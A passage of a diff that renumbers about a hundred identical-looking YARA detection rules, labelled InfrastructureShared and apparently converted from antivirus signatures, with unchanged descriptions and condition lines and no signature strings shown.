"!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333052,7 +349891,7 @@ rule _InfrastructureShared_25336{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25337{ +rule _InfrastructureShared_26651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333062,7 +349901,7 @@ rule _InfrastructureShared_25337{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25338{ +rule _InfrastructureShared_26652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333072,7 +349911,7 @@ rule _InfrastructureShared_25338{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25339{ +rule _InfrastructureShared_26653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333082,7 +349921,7 @@ rule _InfrastructureShared_25339{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25340{ +rule _InfrastructureShared_26654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333092,7 +349931,7 @@ rule _InfrastructureShared_25340{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25341{ +rule _InfrastructureShared_26655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333102,7 +349941,7 @@ rule _InfrastructureShared_25341{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25342{ +rule _InfrastructureShared_26656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333112,7 +349951,7 @@ rule _InfrastructureShared_25342{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25343{ +rule _InfrastructureShared_26657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333122,7 +349961,7 @@ rule _InfrastructureShared_25343{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25344{ +rule _InfrastructureShared_26658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333132,7 +349971,7 @@ rule _InfrastructureShared_25344{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25345{ +rule _InfrastructureShared_26659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333142,7 +349981,7 @@ rule _InfrastructureShared_25345{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25346{ +rule _InfrastructureShared_26660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333152,7 +349991,7 @@ rule _InfrastructureShared_25346{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25347{ +rule _InfrastructureShared_26661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333162,7 +350001,7 @@ rule _InfrastructureShared_25347{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25348{ +rule _InfrastructureShared_26662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333172,7 +350011,7 @@ rule _InfrastructureShared_25348{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25349{ +rule _InfrastructureShared_26663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333182,7 +350021,7 @@ rule _InfrastructureShared_25349{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25350{ +rule _InfrastructureShared_26664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333192,7 +350031,7 @@ rule _InfrastructureShared_25350{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25351{ +rule _InfrastructureShared_26665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333202,7 +350041,7 @@ rule _InfrastructureShared_25351{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25352{ +rule _InfrastructureShared_26666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333212,7 +350051,7 @@ rule _InfrastructureShared_25352{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25353{ +rule _InfrastructureShared_26667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333222,7 +350061,7 @@ rule _InfrastructureShared_25353{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25354{ +rule _InfrastructureShared_26668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333232,7 +350071,7 @@ rule _InfrastructureShared_25354{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25355{ +rule _InfrastructureShared_26669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333242,7 +350081,7 @@ rule _InfrastructureShared_25355{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25356{ +rule _InfrastructureShared_26670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333252,7 +350091,7 @@ rule _InfrastructureShared_25356{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25357{ +rule _InfrastructureShared_26671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333262,7 +350101,7 @@ rule _InfrastructureShared_25357{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25358{ +rule _InfrastructureShared_26672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333272,7 +350111,7 @@ rule _InfrastructureShared_25358{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25359{ +rule _InfrastructureShared_26673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333282,7 +350121,7 @@ rule _InfrastructureShared_25359{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25360{ +rule _InfrastructureShared_26674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333292,7 +350131,7 @@ rule _InfrastructureShared_25360{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25361{ +rule _InfrastructureShared_26675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333302,7 +350141,7 @@ rule _InfrastructureShared_25361{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25362{ +rule _InfrastructureShared_26676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333312,7 +350151,7 @@ rule _InfrastructureShared_25362{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25363{ +rule _InfrastructureShared_26677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333322,7 +350161,7 @@ rule _InfrastructureShared_25363{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25364{ +rule _InfrastructureShared_26678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333332,7 +350171,7 @@ rule _InfrastructureShared_25364{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25365{ +rule _InfrastructureShared_26679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333342,7 +350181,7 @@ rule _InfrastructureShared_25365{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25366{ +rule _InfrastructureShared_26680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333352,7 +350191,7 @@ rule _InfrastructureShared_25366{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25367{ +rule _InfrastructureShared_26681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333362,7 +350201,7 @@ rule _InfrastructureShared_25367{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25368{ +rule _InfrastructureShared_26682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333372,7 +350211,7 @@ rule _InfrastructureShared_25368{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25369{ +rule _InfrastructureShared_26683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333382,7 +350221,7 @@ rule _InfrastructureShared_25369{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25370{ +rule _InfrastructureShared_26684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333392,7 +350231,7 @@ rule _InfrastructureShared_25370{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25371{ +rule _InfrastructureShared_26685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333402,7 +350241,7 @@ rule _InfrastructureShared_25371{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25372{ +rule _InfrastructureShared_26686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333412,7 +350251,7 @@ rule _InfrastructureShared_25372{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25373{ +rule _InfrastructureShared_26687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333422,7 +350261,7 @@ rule _InfrastructureShared_25373{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25374{ +rule _InfrastructureShared_26688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333432,7 +350271,7 @@ rule _InfrastructureShared_25374{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25375{ +rule _InfrastructureShared_26689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333442,7 +350281,7 @@ rule _InfrastructureShared_25375{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25376{ +rule _InfrastructureShared_26690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333452,7 +350291,7 @@ rule _InfrastructureShared_25376{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25377{ +rule _InfrastructureShared_26691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333462,7 +350301,7 @@ rule _InfrastructureShared_25377{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25378{ +rule _InfrastructureShared_26692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333472,7 +350311,7 @@ rule _InfrastructureShared_25378{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25379{ +rule _InfrastructureShared_26693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333482,7 +350321,7 @@ rule _InfrastructureShared_25379{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25380{ +rule _InfrastructureShared_26694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333492,7 +350331,7 @@ rule _InfrastructureShared_25380{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25381{ +rule _InfrastructureShared_26695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333502,7 +350341,7 @@ rule _InfrastructureShared_25381{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25382{ +rule _InfrastructureShared_26696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333512,7 +350351,7 @@ rule _InfrastructureShared_25382{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25383{ +rule _InfrastructureShared_26697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333522,7 +350361,7 @@ rule _InfrastructureShared_25383{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25384{ +rule _InfrastructureShared_26698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333532,7 +350371,7 @@ rule _InfrastructureShared_25384{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25385{ +rule _InfrastructureShared_26699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333542,7 +350381,7 @@ rule _InfrastructureShared_25385{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25386{ +rule _InfrastructureShared_26700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333552,7 +350391,7 @@ rule _InfrastructureShared_25386{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25387{ +rule _InfrastructureShared_26701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333562,7 +350401,7 @@ rule _InfrastructureShared_25387{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25388{ +rule _InfrastructureShared_26702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333572,7 +350411,7 @@ rule _InfrastructureShared_25388{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25389{ +rule _InfrastructureShared_26703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333582,7 +350421,7 @@ rule _InfrastructureShared_25389{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25390{ +rule _InfrastructureShared_26704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333592,7 +350431,7 @@ rule _InfrastructureShared_25390{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25391{ +rule _InfrastructureShared_26705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333602,7 +350441,7 @@ rule _InfrastructureShared_25391{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25392{ +rule _InfrastructureShared_26706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333612,7 +350451,7 @@ rule _InfrastructureShared_25392{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25393{ +rule _InfrastructureShared_26707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333622,7 +350461,7 @@ rule _InfrastructureShared_25393{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25394{ +rule _InfrastructureShared_26708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333632,7 +350471,7 @@ rule _InfrastructureShared_25394{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25395{ +rule _InfrastructureShared_26709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333642,7 +350481,7 @@ rule _InfrastructureShared_25395{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25396{ +rule _InfrastructureShared_26710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333652,7 +350491,7 @@ rule _InfrastructureShared_25396{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25397{ +rule _InfrastructureShared_26711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333662,7 +350501,7 @@ rule _InfrastructureShared_25397{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25398{ +rule _InfrastructureShared_26712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333672,7 +350511,7 @@ rule _InfrastructureShared_25398{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25399{ +rule _InfrastructureShared_26713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333682,7 +350521,7 @@ rule _InfrastructureShared_25399{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25400{ +rule _InfrastructureShared_26714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333692,7 +350531,7 @@ rule _InfrastructureShared_25400{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25401{ +rule _InfrastructureShared_26715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333702,7 +350541,7 @@ rule _InfrastructureShared_25401{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25402{ +rule _InfrastructureShared_26716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333712,7 +350551,7 @@ rule _InfrastructureShared_25402{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25403{ +rule _InfrastructureShared_26717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333722,7 +350561,7 @@ rule _InfrastructureShared_25403{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25404{ +rule _InfrastructureShared_26718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333732,7 +350571,7 @@ rule _InfrastructureShared_25404{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25405{ +rule _InfrastructureShared_26719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333742,7 +350581,7 @@ rule _InfrastructureShared_25405{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25406{ +rule _InfrastructureShared_26720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333752,7 +350591,7 @@ rule _InfrastructureShared_25406{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25407{ +rule _InfrastructureShared_26721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333762,7 +350601,7 @@ rule _InfrastructureShared_25407{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25408{ +rule _InfrastructureShared_26722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333772,7 +350611,7 @@ rule _InfrastructureShared_25408{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25409{ +rule _InfrastructureShared_26723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333782,7 +350621,7 @@ rule _InfrastructureShared_25409{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25410{ +rule _InfrastructureShared_26724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333792,7 +350631,7 @@ rule _InfrastructureShared_25410{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25411{ +rule _InfrastructureShared_26725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333802,7 +350641,7 @@ rule _InfrastructureShared_25411{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25412{ +rule _InfrastructureShared_26726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333812,7 +350651,7 @@ rule _InfrastructureShared_25412{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25413{ +rule _InfrastructureShared_26727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333822,7 +350661,7 @@ rule _InfrastructureShared_25413{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25414{ +rule _InfrastructureShared_26728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333832,7 +350671,7 @@ rule _InfrastructureShared_25414{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25415{ +rule _InfrastructureShared_26729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333842,7 +350681,7 @@ rule _InfrastructureShared_25415{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25416{ +rule _InfrastructureShared_26730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333852,7 +350691,7 @@ rule _InfrastructureShared_25416{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25417{ +rule _InfrastructureShared_26731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333862,7 +350701,7 @@ rule _InfrastructureShared_25417{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25418{ +rule _InfrastructureShared_26732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333872,7 +350711,7 @@ rule _InfrastructureShared_25418{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25419{ +rule _InfrastructureShared_26733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333882,7 +350721,7 @@ rule _InfrastructureShared_25419{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25420{ +rule _InfrastructureShared_26734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333892,7 +350731,7 @@ rule _InfrastructureShared_25420{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25421{ +rule _InfrastructureShared_26735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333902,7 +350741,7 @@ rule _InfrastructureShared_25421{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25422{ +rule _InfrastructureShared_26736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333912,7 +350751,7 @@ rule _InfrastructureShared_25422{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25423{ +rule _InfrastructureShared_26737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333922,7 +350761,7 @@ rule _InfrastructureShared_25423{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25424{ +rule _InfrastructureShared_26738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333932,7 +350771,7 @@ rule _InfrastructureShared_25424{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25425{ +rule _InfrastructureShared_26739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333942,7 +350781,7 @@ rule _InfrastructureShared_25425{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25426{ +rule _InfrastructureShared_26740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333952,7 +350791,7 @@ rule _InfrastructureShared_25426{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25427{ +rule _InfrastructureShared_26741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333962,7 +350801,7 @@ rule _InfrastructureShared_25427{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25428{ +rule _InfrastructureShared_26742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333972,7 +350811,7 @@ rule _InfrastructureShared_25428{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25429{ +rule _InfrastructureShared_26743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333982,7 +350821,7 @@ rule _InfrastructureShared_25429{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25430{ +rule _InfrastructureShared_26744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -333992,7 +350831,7 @@ rule _InfrastructureShared_25430{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25431{ +rule _InfrastructureShared_26745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -334002,7 +350841,7 @@ rule _InfrastructureShared_25431{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25432{ +rule _InfrastructureShared_26746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -334012,7 +350851,7 @@ rule _InfrastructureShared_25432{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25433{ +rule _InfrastructureShared_26747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -334022,7 +350861,7 @@ rule _InfrastructureShared_25433{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25434{ +rule _InfrastructureShared_26748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -334032,7 +350871,7 @@ rule _InfrastructureShared_25434{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25435{ +rule _InfrastructureShared_26749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -334042,7 +350881,7 @@ rule _InfrastructureShared_25435{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25436{ +rule _InfrastructureShared_26750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -334052,7 +350891,7 @@ rule _InfrastructureShared_25436{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25437{ +rule _InfrastructureShared_26751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -334062,7 +350901,7 @@ rule _InfrastructureShared_25437{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25438{ +rule _InfrastructureShared_26752{ meta: description = 